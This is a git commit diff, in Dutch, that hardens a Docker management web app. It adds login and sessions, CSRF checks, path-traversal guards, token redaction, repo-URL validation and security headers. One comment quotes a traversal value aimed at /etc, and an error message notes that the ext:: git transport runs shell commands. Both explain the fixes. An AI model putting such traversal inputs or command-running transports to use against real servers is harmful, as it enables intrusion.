v0.5.00-beta - authenticatie + beveiligingsfixes
Server Up beheerde de Docker-daemon als root zonder enige vorm van authenticatie: elke /api/*-route was gelijk aan root-toegang op de host. - Authenticatie toegevoegd (core/auth.py): lokale accounts met scrypt-hash, sessiecookie (HttpOnly, SameSite=Strict) en optionele trusted-proxy-header SSO die alleen vanaf geconfigureerde proxy-IP's wordt vertrouwd. - before_request-guard schermt alle API-routes af; loginscherm en eerste-account-setup in de UI. - CSRF-token verplicht op elke mutatie; GET-varianten van state-wijzigende routes verwijderd (o.a. /api/docker/restart was via <img> te triggeren). - Path traversal in /api/store/install gedicht; gedeelde safe_name()-validatie voor stack-, instantie- en repo-namen. - Git-tokens worden niet meer teruggegeven via /api/repos en /api/settings (has_token-vlag); settings-PUT wist een bestaand token niet meer en kan AUTH niet overschrijven. - Git-URL's beperkt tot http(s)/ssh/scp-syntax; ext::-transport (voert een shell-commando uit) en file:// worden geweigerd. - Boilerplate-templates renderen in een SandboxedEnvironment (SSTI). - Automatisch syncen van repo's bij boot standaard uit (AUTO_SYNC_ON_BOOT), optionele commit-pinning per repo. - Waitress in plaats van de Flask-ontwikkelserver, MAX_CONTENT_LENGTH, ProxyFix, en CSP/X-Frame-Options/nosniff/Referrer-Policy headers. - Front-end libraries (Tailwind, Alpine, htmx) lokaal meegeleverd i.p.v. CDN; Google Fonts verwijderd. Werkt nu ook offline. - SSH host-key-verificatie aan (accept-new + /data/known_hosts). - Lichte /healthz voor de healthcheck i.p.v. `docker info`. - config.json en secret.key met 0600-rechten. - Poort standaard op 127.0.0.1 gebonden. - Audit-log gebruikt één gedeelde SQLite-verbinding (fd-lek per job verholpen); joblogs afgekapt op 2000 regels. - VERSION-bestand is de enige bron voor het versienummer. - pytest-suite toegevoegd (74 tests) en als stap in beide deploy-workflows. - fix-config.sh verwijderd (hardgecodeerd intern IP, overschreef config). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C7oLCRYzY5ixJ5Sv8Y8EFb
This commit is contained in:
parent
7eee8ba8ca
commit
916e54a229
22 changed files with 1486 additions and 149 deletions
|
|
@ -41,6 +41,13 @@ jobs:
|
|||
echo "SU_VERSION=${VERSION}" >> "$GITHUB_ENV"
|
||||
echo "Deploying version: ${VERSION} (${CHANNEL})"
|
||||
|
||||
- name: Tests draaien
|
||||
run: |
|
||||
set -euo pipefail
|
||||
python3 -m venv /tmp/su-test-venv
|
||||
/tmp/su-test-venv/bin/pip install -q -r server-up/requirements.txt pytest
|
||||
/tmp/su-test-venv/bin/python -m pytest tests -q
|
||||
|
||||
- name: Sync code naar deploy-directory
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
|
|
|||
|
|
@ -41,6 +41,13 @@ jobs:
|
|||
echo "SU_VERSION=${VERSION}" >> "$GITHUB_ENV"
|
||||
echo "Deploying version: ${VERSION} (${CHANNEL})"
|
||||
|
||||
- name: Tests draaien
|
||||
run: |
|
||||
set -euo pipefail
|
||||
python3 -m venv /tmp/su-test-venv
|
||||
/tmp/su-test-venv/bin/pip install -q -r server-up/requirements.txt pytest
|
||||
/tmp/su-test-venv/bin/python -m pytest tests -q
|
||||
|
||||
- name: Sync code naar deploy-directory
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
|
|
|||
2
.gitignore
vendored
2
.gitignore
vendored
|
|
@ -2,3 +2,5 @@ __pycache__/
|
|||
*.pyc
|
||||
*.pyo
|
||||
.env
|
||||
.pytest_cache/
|
||||
venv/
|
||||
|
|
|
|||
23
Dockerfile
23
Dockerfile
|
|
@ -37,19 +37,38 @@ COPY --from=build /inst /usr/local
|
|||
WORKDIR /app
|
||||
COPY server-up/ ./
|
||||
COPY modules/ ./modules-bundled/
|
||||
COPY VERSION ./VERSION
|
||||
RUN mkdir -p static/fonts \
|
||||
&& curl -fsSL "https://cdn.jsdelivr.net/npm/@mdi/font@7.4.47/css/materialdesignicons.min.css" -o static/fonts/mdi.min.css \
|
||||
&& curl -fsSL "https://cdn.jsdelivr.net/npm/@mdi/font@7.4.47/fonts/materialdesignicons-webfont.woff2" -o static/fonts/materialdesignicons-webfont.woff2 \
|
||||
&& sed -i "s|https://cdn.jsdelivr.net/npm/@mdi/font@7.4.47/fonts/||g" static/fonts/mdi.min.css
|
||||
|
||||
# Front-end libraries meeleveren in plaats van vanaf een CDN laden. Zo kan de
|
||||
# Content-Security-Policy op 'self' blijven, is er geen supply-chain-risico van
|
||||
# unpkg/jsdelivr op runtime, en werkt de UI ook zonder internetverbinding.
|
||||
RUN mkdir -p static/vendor \
|
||||
&& curl -fsSL "https://cdn.tailwindcss.com/3.4.16?plugins=forms,typography" \
|
||||
-o static/vendor/tailwind.js \
|
||||
&& curl -fsSL "https://cdn.jsdelivr.net/npm/alpinejs@3.14.1/dist/cdn.min.js" \
|
||||
-o static/vendor/alpine.min.js \
|
||||
&& curl -fsSL "https://cdn.jsdelivr.net/npm/htmx.org@2.0.3/dist/htmx.min.js" \
|
||||
-o static/vendor/htmx.min.js \
|
||||
&& for f in static/vendor/tailwind.js static/vendor/alpine.min.js static/vendor/htmx.min.js; do \
|
||||
test -s "$f" || { echo "LEEG: $f"; exit 1; }; \
|
||||
done
|
||||
|
||||
# Directories + git safe.directory (fix dubious ownership)
|
||||
RUN mkdir -p /data/stacks /data/appdata /data/backups /data/git modules /root \
|
||||
&& printf '[safe]\n\tdirectory = *\n' > /root/.gitconfig
|
||||
|
||||
# GIT_SSH_COMMAND: StrictHostKeyChecking=accept-new vertrouwt een host bij de
|
||||
# eerste verbinding en bewaart de sleutel in /data/known_hosts. Wijzigt die
|
||||
# sleutel later, dan faalt de verbinding — met `no` was elke MITM onzichtbaar.
|
||||
ENV PYTHONUNBUFFERED=1 PORT=5000 HOME=/root \
|
||||
SU_VERSION=${SU_VERSION} \
|
||||
SU_CONFIG=/data/config.json SU_AUDIT=/data/audit.db SU_GIT_CACHE=/data/git \
|
||||
GIT_SSH_COMMAND="ssh -F /dev/null -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
|
||||
SU_SECRET=/data/secret.key \
|
||||
GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=accept-new -o UserKnownHostsFile=/data/known_hosts"
|
||||
EXPOSE 5000
|
||||
HEALTHCHECK --interval=30s --timeout=8s --start-period=15s CMD curl -fs http://localhost:5000/api/docker/info || exit 1
|
||||
HEALTHCHECK --interval=30s --timeout=8s --start-period=15s CMD curl -fs http://localhost:5000/healthz || exit 1
|
||||
CMD ["python","app.py"]
|
||||
|
|
|
|||
2
VERSION
2
VERSION
|
|
@ -1 +1 @@
|
|||
0.4.60
|
||||
0.5.00-beta
|
||||
|
|
|
|||
|
|
@ -17,7 +17,10 @@ services:
|
|||
# Wijzig BASE_DIR in .env om alle paden te verplaatsen
|
||||
- ${BASE_DIR:-/opt/serverup}:${BASE_DIR:-/opt/serverup}
|
||||
ports:
|
||||
- "${PORT:-5000}:5000"
|
||||
# Standaard alleen bereikbaar vanaf de host zelf. Server Up beheert de
|
||||
# Docker-daemon, dus zet dit pas open als er een reverse proxy met TLS
|
||||
# voor staat: BIND=0.0.0.0 in .env (en stel in de UI de trusted proxy in).
|
||||
- "${BIND:-127.0.0.1}:${PORT:-5000}:5000"
|
||||
environment:
|
||||
- PORT=5000
|
||||
- HOME=/root
|
||||
|
|
|
|||
|
|
@ -1,47 +0,0 @@
|
|||
#!/bin/bash
|
||||
# Repareer de APP_REPOS in de Server Up config:
|
||||
# - Verwijdert dubbele entries
|
||||
# - Geeft de Forgejo dev-repo een uniek id (bes-r-dev)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
docker exec server-up python3 -c "
|
||||
import json
|
||||
from pathlib import Path
|
||||
|
||||
p = Path('/data/config.json')
|
||||
cfg = json.loads(p.read_text())
|
||||
|
||||
cfg['APP_REPOS'] = [
|
||||
{
|
||||
'id': 'server-up',
|
||||
'name': 'server-up (GitHub)',
|
||||
'url': 'https://github.com/bes-r/server-up.git',
|
||||
'branch': 'main',
|
||||
'subdir': 'apps',
|
||||
'token': ''
|
||||
},
|
||||
{
|
||||
'id': 'boilerplates',
|
||||
'name': 'Boilerplates (ChristianLempa)',
|
||||
'url': 'https://github.com/ChristianLempa/boilerplates-library.git',
|
||||
'branch': 'main',
|
||||
'subdir': 'compose'
|
||||
},
|
||||
{
|
||||
'id': 'bes-r-dev',
|
||||
'name': 'bes-r (dev)',
|
||||
'url': 'http://10.0.20.22:3000/bes-r/server-up.git',
|
||||
'branch': 'dev',
|
||||
'token': '',
|
||||
'subdir': 'apps'
|
||||
}
|
||||
]
|
||||
|
||||
p.write_text(json.dumps(cfg, indent=2))
|
||||
print('Config bijgewerkt.')
|
||||
"
|
||||
|
||||
echo "Container herstarten..."
|
||||
cd /opt/docker/server-up && docker compose restart
|
||||
echo "Klaar. Ga in Server Up naar de app-store en klik op Synchroniseren voor 'bes-r (dev)'."
|
||||
382
server-up/app.py
382
server-up/app.py
|
|
@ -1,6 +1,7 @@
|
|||
"""Server Up — Docker Manager."""
|
||||
from __future__ import annotations
|
||||
import inspect, json, os, re, shutil, subprocess, sys, time
|
||||
import inspect, json, os, re, secrets, shutil, subprocess, sys, time
|
||||
from datetime import timedelta
|
||||
from pathlib import Path
|
||||
|
||||
# Ensure app dir is in sys.path so modules can import 'from modules.base' and 'from core'
|
||||
|
|
@ -9,16 +10,50 @@ if str(APP) not in sys.path:
|
|||
sys.path.insert(0, str(APP))
|
||||
|
||||
import yaml
|
||||
from flask import Flask, Response, jsonify, render_template, request
|
||||
from flask import Flask, Response, jsonify, render_template, request, session
|
||||
|
||||
import core as cfg
|
||||
from core import audit, jobs, i18n
|
||||
from core import docker, git, boilerplates, updater
|
||||
from core import auth, docker, git, boilerplates, updater
|
||||
from core.modules import Module, CORE, discover
|
||||
|
||||
app = Flask(__name__, static_folder="static", template_folder="templates")
|
||||
|
||||
VERSION = os.environ.get("SU_VERSION", "0.4.60")
|
||||
|
||||
def _version() -> str:
|
||||
"""Versienummer: env-var wint, anders het centrale VERSION-bestand."""
|
||||
env = os.environ.get("SU_VERSION", "").strip()
|
||||
if env and env != "dev":
|
||||
return env
|
||||
for candidate in (APP / "VERSION", APP.parent / "VERSION"):
|
||||
try:
|
||||
v = candidate.read_text(encoding="utf-8").strip()
|
||||
if v:
|
||||
return v
|
||||
except Exception:
|
||||
continue
|
||||
return env or "0.0.0"
|
||||
|
||||
|
||||
VERSION = _version()
|
||||
|
||||
# ── App-configuratie ─────────────────────────────────────────────────────────
|
||||
app.secret_key = auth.secret_key()
|
||||
app.config.update(
|
||||
SESSION_COOKIE_HTTPONLY=True,
|
||||
SESSION_COOKIE_SAMESITE="Strict",
|
||||
# Alleen zinvol achter TLS; anders zou de cookie nooit verstuurd worden.
|
||||
SESSION_COOKIE_SECURE=bool(os.environ.get("SU_HTTPS")),
|
||||
PERMANENT_SESSION_LIFETIME=timedelta(hours=12),
|
||||
MAX_CONTENT_LENGTH=2 * 1024 * 1024,
|
||||
)
|
||||
|
||||
# Achter een reverse proxy is request.remote_addr het proxy-adres; ProxyFix
|
||||
# herstelt het echte client-IP. Alleen inschakelen als er ook daadwerkelijk
|
||||
# vertrouwde proxy's zijn geconfigureerd — anders kan iedereen zijn IP vervalsen.
|
||||
if auth.settings().get("trusted_proxies"):
|
||||
from werkzeug.middleware.proxy_fix import ProxyFix
|
||||
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=1)
|
||||
|
||||
MODULES: list[Module] = []
|
||||
USER_MOD = APP / "modules"
|
||||
|
|
@ -105,17 +140,182 @@ def _notify_restart(mid: str) -> tuple[bool, str]:
|
|||
# API
|
||||
# ══════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
# ── Authenticatie ─────────────────────────────────────────────────────────────
|
||||
|
||||
# Routes die zonder sessie bereikbaar moeten zijn. `/` levert alleen de lege
|
||||
# app-shell; alle gegevens komen via /api/* en zijn dus wél afgeschermd.
|
||||
PUBLIC_PATHS = frozenset({
|
||||
"/", "/healthz", "/favicon.ico",
|
||||
"/api/auth/me", "/api/auth/login", "/api/auth/logout", "/api/auth/setup",
|
||||
})
|
||||
|
||||
|
||||
@app.before_request
|
||||
def require_auth():
|
||||
p = request.path
|
||||
if p in PUBLIC_PATHS or p.startswith("/static/"):
|
||||
return None
|
||||
if auth.current_user():
|
||||
# Sessie-gebaseerde auth is kwetsbaar voor CSRF; elke mutatie moet het
|
||||
# token meesturen dat alleen same-origin JavaScript kan uitlezen.
|
||||
if request.method not in ("GET", "HEAD", "OPTIONS"):
|
||||
if not auth.verify_csrf(request.headers.get("X-CSRF-Token")):
|
||||
return jsonify(ok=False, msg="Ongeldig of ontbrekend CSRF-token"), 403
|
||||
return None
|
||||
if auth.needs_setup():
|
||||
return jsonify(ok=False, msg="Server Up is nog niet ingesteld",
|
||||
needs_setup=True), 401
|
||||
return jsonify(ok=False, msg="Niet ingelogd"), 401
|
||||
|
||||
|
||||
@app.route("/api/auth/me")
|
||||
def api_auth_me():
|
||||
user = auth.current_user()
|
||||
a = auth.settings()
|
||||
return jsonify(authenticated=bool(user), user=user or "",
|
||||
needs_setup=auth.needs_setup(), mode=a.get("mode", "local"),
|
||||
version=VERSION,
|
||||
csrf_token=auth.csrf_token() if user else "")
|
||||
|
||||
|
||||
@app.route("/api/auth/setup", methods=["POST"])
|
||||
def api_auth_setup():
|
||||
"""Maak het eerste account aan. Werkt alleen zolang er nog geen account is."""
|
||||
if not auth.needs_setup():
|
||||
return jsonify(ok=False, msg="Er bestaat al een account"), 409
|
||||
d = request.json or {}
|
||||
ok, msg = auth.create_user(d.get("username", ""), d.get("password", ""))
|
||||
if not ok:
|
||||
return jsonify(ok=False, msg=msg), 400
|
||||
auth.start_session(d.get("username", "").strip())
|
||||
audit.log("auth", "setup", "ok", ref=d.get("username", ""), ip=request.remote_addr)
|
||||
return jsonify(ok=True, msg=msg, csrf_token=auth.csrf_token())
|
||||
|
||||
|
||||
@app.route("/api/auth/login", methods=["POST"])
|
||||
def api_auth_login():
|
||||
d = request.json or {}
|
||||
name = (d.get("username") or "").strip()
|
||||
ok, msg = auth.check_login(name, d.get("password", ""))
|
||||
if not ok:
|
||||
audit.log("auth", "login", "error", ref=name, detail=msg,
|
||||
ip=request.remote_addr)
|
||||
return jsonify(ok=False, msg=msg), 401
|
||||
auth.start_session(name)
|
||||
audit.log("auth", "login", "ok", ref=name, ip=request.remote_addr)
|
||||
return jsonify(ok=True, msg=msg, user=name, csrf_token=auth.csrf_token())
|
||||
|
||||
|
||||
@app.route("/api/auth/logout", methods=["POST"])
|
||||
def api_auth_logout():
|
||||
user = session.get("user", "")
|
||||
auth.end_session()
|
||||
if user:
|
||||
audit.log("auth", "logout", "ok", ref=user, ip=request.remote_addr)
|
||||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/auth/password", methods=["POST"])
|
||||
def api_auth_password():
|
||||
d = request.json or {}
|
||||
user = auth.current_user()
|
||||
ok, _ = auth.check_login(user, d.get("current", ""))
|
||||
if not ok:
|
||||
return jsonify(ok=False, msg="Huidig wachtwoord klopt niet"), 403
|
||||
ok, msg = auth.set_password(user, d.get("new", ""))
|
||||
if ok:
|
||||
audit.log("auth", "password", "ok", ref=user, ip=request.remote_addr)
|
||||
return jsonify(ok=ok, msg=msg), (200 if ok else 400)
|
||||
|
||||
|
||||
@app.route("/api/auth/users")
|
||||
def api_auth_users():
|
||||
a = auth.settings()
|
||||
return jsonify(users=auth.users(), mode=a.get("mode", "local"),
|
||||
proxy_header=a.get("proxy_header", ""),
|
||||
trusted_proxies=a.get("trusted_proxies", []))
|
||||
|
||||
|
||||
@app.route("/api/auth/users", methods=["POST"])
|
||||
def api_auth_users_add():
|
||||
d = request.json or {}
|
||||
ok, msg = auth.create_user(d.get("username", ""), d.get("password", ""))
|
||||
if ok:
|
||||
audit.log("auth", "user_add", "ok", ref=d.get("username", ""),
|
||||
ip=request.remote_addr)
|
||||
return jsonify(ok=ok, msg=msg), (200 if ok else 400)
|
||||
|
||||
|
||||
@app.route("/api/auth/users/<name>", methods=["DELETE"])
|
||||
def api_auth_users_del(name):
|
||||
ok, msg = auth.delete_user(name)
|
||||
if ok:
|
||||
audit.log("auth", "user_del", "ok", ref=name, ip=request.remote_addr)
|
||||
return jsonify(ok=ok, msg=msg), (200 if ok else 400)
|
||||
|
||||
|
||||
@app.route("/api/auth/mode", methods=["PUT"])
|
||||
def api_auth_mode():
|
||||
"""Stel de authenticatiemodus en de trusted-proxy-instellingen in."""
|
||||
d = request.json or {}
|
||||
a = auth.settings()
|
||||
mode = d.get("mode", a.get("mode"))
|
||||
if mode not in ("local", "proxy", "both"):
|
||||
return jsonify(ok=False, msg="Ongeldige modus"), 400
|
||||
proxies = d.get("trusted_proxies", a.get("trusted_proxies") or [])
|
||||
if not isinstance(proxies, list):
|
||||
return jsonify(ok=False, msg="trusted_proxies moet een lijst zijn"), 400
|
||||
if mode in ("proxy", "both") and not proxies:
|
||||
return jsonify(ok=False,
|
||||
msg="Geef minstens één vertrouwd proxy-IP op, anders kan "
|
||||
"iedereen de identiteitsheader vervalsen."), 400
|
||||
if mode == "proxy" and not d.get("confirm_lockout"):
|
||||
return jsonify(ok=False,
|
||||
msg="In modus 'proxy' vervalt de lokale login. Bevestig "
|
||||
"dat de reverse proxy werkt voordat je omschakelt."), 400
|
||||
a.update({"mode": mode,
|
||||
"proxy_header": (d.get("proxy_header") or a.get("proxy_header") or "").strip(),
|
||||
"trusted_proxies": [str(p).strip() for p in proxies if str(p).strip()]})
|
||||
cfg.patch({"AUTH": a})
|
||||
audit.log("auth", "mode", "ok", ref=mode, ip=request.remote_addr)
|
||||
return jsonify(ok=True, msg="Instellingen opgeslagen")
|
||||
|
||||
|
||||
# ── UI ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
@app.route("/")
|
||||
def index():
|
||||
resp = render_template("index.html")
|
||||
return resp
|
||||
|
||||
|
||||
@app.route("/healthz")
|
||||
def healthz():
|
||||
"""Lichtgewicht liveness-check voor de Docker-healthcheck: geen subprocess."""
|
||||
return jsonify(ok=True, version=VERSION)
|
||||
|
||||
|
||||
@app.after_request
|
||||
def no_cache(response):
|
||||
def security_headers(response):
|
||||
if request.path == "/" or request.path.endswith(".html"):
|
||||
response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
|
||||
response.headers["Pragma"] = "no-cache"
|
||||
# Alle scripts/styles/fonts worden meegeleverd (zie Dockerfile), dus 'self'
|
||||
# volstaat. 'unsafe-inline' is nodig voor Alpine's x-* attributen en de
|
||||
# inline tailwind.config; 'unsafe-eval' voor Alpine's expressie-evaluatie.
|
||||
response.headers.setdefault("Content-Security-Policy", (
|
||||
"default-src 'self'; "
|
||||
"script-src 'self' 'unsafe-inline' 'unsafe-eval'; "
|
||||
"style-src 'self' 'unsafe-inline'; "
|
||||
"img-src 'self' data: https:; "
|
||||
"font-src 'self' data:; "
|
||||
"connect-src 'self'; "
|
||||
"frame-ancestors 'none'; "
|
||||
"base-uri 'none'; "
|
||||
"form-action 'self'"))
|
||||
response.headers.setdefault("X-Frame-Options", "DENY")
|
||||
response.headers.setdefault("X-Content-Type-Options", "nosniff")
|
||||
response.headers.setdefault("Referrer-Policy", "no-referrer")
|
||||
return response
|
||||
|
||||
|
||||
|
|
@ -160,7 +360,7 @@ def api_images_prune():
|
|||
return jsonify(ok=ok, msg=msg)
|
||||
|
||||
|
||||
@app.route("/api/docker/restart", methods=["GET", "POST"])
|
||||
@app.route("/api/docker/restart", methods=["POST"])
|
||||
def api_restart():
|
||||
"""Restart the Server Up container itself."""
|
||||
audit.log("core", "restart", "ok", ip=request.remote_addr)
|
||||
|
|
@ -226,12 +426,27 @@ def api_stacks():
|
|||
return jsonify(out)
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/<action>", methods=["POST"])
|
||||
def api_stack_action(name, action):
|
||||
def _stack_dir(name: str) -> tuple[Path | None, Path | None]:
|
||||
"""Resolve een stacknaam naar een map binnen LIBRARY_DIR.
|
||||
|
||||
Retourneert (library, stackmap) of (None, None) als de naam ongeldig is of
|
||||
buiten de library zou wijzen. Elke route die met een door de gebruiker
|
||||
aangeleverde stacknaam werkt, hoort hier doorheen te gaan.
|
||||
"""
|
||||
if not cfg.safe_name(name):
|
||||
return None, None
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
d = (lib / name).resolve()
|
||||
if not d.is_relative_to(lib):
|
||||
return jsonify(ok=False, msg="ongeldig pad"), 400
|
||||
if not d.is_relative_to(lib) or d == lib:
|
||||
return None, None
|
||||
return lib, d
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/<action>", methods=["POST"])
|
||||
def api_stack_action(name, action):
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
if not d.exists():
|
||||
return jsonify(ok=False, msg="niet gevonden"), 404
|
||||
if action not in ("start", "stop", "restart", "update", "remove", "backup"):
|
||||
|
|
@ -293,56 +508,57 @@ def api_stack_action(name, action):
|
|||
|
||||
@app.route("/api/stacks/<name>/env")
|
||||
def api_stack_env(name):
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
d = (lib / name).resolve()
|
||||
if not d.is_relative_to(lib):
|
||||
return jsonify(ok=False, msg="ongeldig pad"), 400
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
return jsonify(content=docker.read_env(d))
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/env", methods=["PUT"])
|
||||
def api_stack_env_put(name):
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
d = (lib / name).resolve()
|
||||
if not d.is_relative_to(lib):
|
||||
return jsonify(ok=False, msg="ongeldig pad"), 400
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
docker.write_env(d, (request.json or {}).get("content", ""))
|
||||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/compose")
|
||||
def api_stack_compose(name):
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
d = (lib / name).resolve()
|
||||
if not d.is_relative_to(lib):
|
||||
return jsonify(ok=False, msg="ongeldig pad"), 400
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
return jsonify(content=docker.read_compose(d))
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/compose", methods=["PUT"])
|
||||
def api_stack_compose_put(name):
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
d = (lib / name).resolve()
|
||||
if not d.is_relative_to(lib):
|
||||
return jsonify(ok=False, msg="ongeldig pad"), 400
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
docker.write_compose(d, (request.json or {}).get("content", ""))
|
||||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/stacks/<name>/logs")
|
||||
def api_stack_logs(name):
|
||||
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
|
||||
d = (lib / name).resolve()
|
||||
if not d.is_relative_to(lib):
|
||||
return jsonify(ok=False, msg="ongeldig pad"), 400
|
||||
lib, d = _stack_dir(name)
|
||||
if not d:
|
||||
return jsonify(ok=False, msg="ongeldige naam"), 400
|
||||
return jsonify(logs=docker.compose_logs(d, name=name))
|
||||
|
||||
|
||||
# ── App Store ─────────────────────────────────────────────────────────────────
|
||||
|
||||
_BAD_URL_MSG = ("Ongeldige repo-URL. Toegestaan zijn http(s)://, ssh:// en "
|
||||
"git@host:pad. Andere git-transports (zoals ext::) kunnen "
|
||||
"commando's uitvoeren op de server.")
|
||||
|
||||
|
||||
@app.route("/api/repos")
|
||||
def api_repos():
|
||||
repos = cfg.load().get("APP_REPOS", [])
|
||||
# Nooit het token zelf teruggeven — alleen of er één ingesteld is.
|
||||
repos = cfg.redact(cfg.load()).get("APP_REPOS", [])
|
||||
result = [{**r, "cloned": git.cache_dir(r["id"]).exists()} for r in repos]
|
||||
return jsonify(result)
|
||||
|
||||
|
|
@ -353,6 +569,8 @@ def api_repos_add():
|
|||
url = d.get("url", "").strip()
|
||||
if not url:
|
||||
return jsonify(ok=False, msg="URL vereist")
|
||||
if not cfg.valid_repo_url(url):
|
||||
return jsonify(ok=False, msg=_BAD_URL_MSG), 400
|
||||
repos = list(cfg.load().get("APP_REPOS", []))
|
||||
existing_ids = {r["id"] for r in repos}
|
||||
base_rid = d.get("id", url.split("/")[-1].replace(".git", "")).strip()[:30] or str(int(time.time()))
|
||||
|
|
@ -380,7 +598,7 @@ def api_repos_del(rid):
|
|||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/repos/<rid>/sync", methods=["GET", "POST"])
|
||||
@app.route("/api/repos/<rid>/sync", methods=["POST"])
|
||||
def api_repos_sync(rid):
|
||||
repo = next((r for r in cfg.load().get("APP_REPOS", []) if r["id"] == rid), None)
|
||||
if not repo:
|
||||
|
|
@ -414,6 +632,10 @@ def _is_stack_dir(p: Path) -> bool:
|
|||
|
||||
def _find_stack_src(stack: str, rid: str) -> Path | None:
|
||||
"""Zoek de stack bronmap in de git cache."""
|
||||
# `stack` en `rid` komen uit de request-body en worden hieronder in paden
|
||||
# geplakt; zonder deze controle kan een naam als '../..' de cache uit wijzen.
|
||||
if not cfg.safe_name(stack) or not cfg.safe_name(rid):
|
||||
return None
|
||||
repo = next((r for r in cfg.load().get("APP_REPOS", []) if r["id"] == rid), None)
|
||||
if not repo:
|
||||
return None
|
||||
|
|
@ -567,6 +789,10 @@ def api_store_install():
|
|||
bp_values = d.get("values", {}) # boilerplate variable values
|
||||
if not stack:
|
||||
return jsonify(ok=False, msg="stack vereist")
|
||||
# De instantienaam bepaalt de doelmap én de compose-projectnaam. Zonder
|
||||
# controle schrijft `"instance": "../../etc"` buiten de library.
|
||||
if not cfg.safe_name(inst):
|
||||
return jsonify(ok=False, msg="ongeldige instantienaam"), 400
|
||||
|
||||
src = _find_stack_src(stack, rid)
|
||||
if not src:
|
||||
|
|
@ -584,6 +810,8 @@ def api_store_install():
|
|||
except Exception as e:
|
||||
return jsonify(ok=False, msg=f"Library map kan niet aangemaakt worden: {e}")
|
||||
dest = (lib / inst).resolve()
|
||||
if not dest.is_relative_to(lib) or dest == lib:
|
||||
return jsonify(ok=False, msg="ongeldige instantienaam"), 400
|
||||
if dest.exists():
|
||||
return jsonify(ok=False, msg=f"'{inst}' bestaat al")
|
||||
|
||||
|
|
@ -926,7 +1154,7 @@ def api_mod_update():
|
|||
|
||||
@app.route("/api/modrepos")
|
||||
def api_modrepos():
|
||||
repos = cfg.load().get("MODULE_REPOS", [])
|
||||
repos = cfg.redact(cfg.load()).get("MODULE_REPOS", [])
|
||||
return jsonify([{**r, "cloned": git.cache_dir(r["id"]).exists()} for r in repos])
|
||||
|
||||
|
||||
|
|
@ -936,6 +1164,8 @@ def api_modrepos_add():
|
|||
url = d.get("url", "").strip()
|
||||
if not url:
|
||||
return jsonify(ok=False, msg="URL vereist")
|
||||
if not cfg.valid_repo_url(url):
|
||||
return jsonify(ok=False, msg=_BAD_URL_MSG), 400
|
||||
repos = list(cfg.load().get("MODULE_REPOS", []))
|
||||
existing_ids = {r["id"] for r in repos}
|
||||
base_rid = d.get("id", url.split("/")[-1].replace(".git", ""))[:30]
|
||||
|
|
@ -961,7 +1191,7 @@ def api_modrepos_del(rid):
|
|||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/modrepos/<rid>/sync", methods=["GET", "POST"])
|
||||
@app.route("/api/modrepos/<rid>/sync", methods=["POST"])
|
||||
def api_modrepos_sync(rid):
|
||||
repo = next((r for r in cfg.load().get("MODULE_REPOS", []) if r["id"] == rid), None)
|
||||
if not repo:
|
||||
|
|
@ -981,18 +1211,40 @@ def api_modrepos_sync(rid):
|
|||
|
||||
# ── Settings ──────────────────────────────────────────────────────────────────
|
||||
|
||||
_SETTINGS_HIDE = {"WIZARD_DONE", "ACTIVE_MODULES"}
|
||||
|
||||
|
||||
@app.route("/api/settings")
|
||||
def api_settings():
|
||||
c = cfg.load()
|
||||
hide = {"WIZARD_DONE", "ACTIVE_MODULES"}
|
||||
return jsonify({k: v for k, v in c.items() if k not in hide})
|
||||
c = cfg.redact(cfg.load())
|
||||
return jsonify({k: v for k, v in c.items() if k not in _SETTINGS_HIDE})
|
||||
|
||||
|
||||
@app.route("/api/settings", methods=["PUT"])
|
||||
def api_settings_put():
|
||||
d = request.json or {}
|
||||
hide = {"WIZARD_DONE", "ACTIVE_MODULES"}
|
||||
updates = {k: v for k, v in d.items() if k not in hide}
|
||||
# AUTH loopt uitsluitend via /api/auth/* — anders kun je via de generieke
|
||||
# settings-PUT je eigen wachtwoordhash of trusted_proxies injecteren.
|
||||
blocked = _SETTINGS_HIDE | cfg.SECRET_KEYS
|
||||
updates = {k: v for k, v in d.items() if k not in blocked}
|
||||
current = cfg.load()
|
||||
for key in ("APP_REPOS", "MODULE_REPOS"):
|
||||
if key not in updates:
|
||||
continue
|
||||
if not isinstance(updates[key], list):
|
||||
return jsonify(ok=False, msg=f"{key} moet een lijst zijn"), 400
|
||||
known = {r.get("id"): r.get("token", "")
|
||||
for r in current.get(key, []) if isinstance(r, dict)}
|
||||
for r in updates[key]:
|
||||
if not isinstance(r, dict):
|
||||
return jsonify(ok=False, msg=f"Ongeldige repo in {key}"), 400
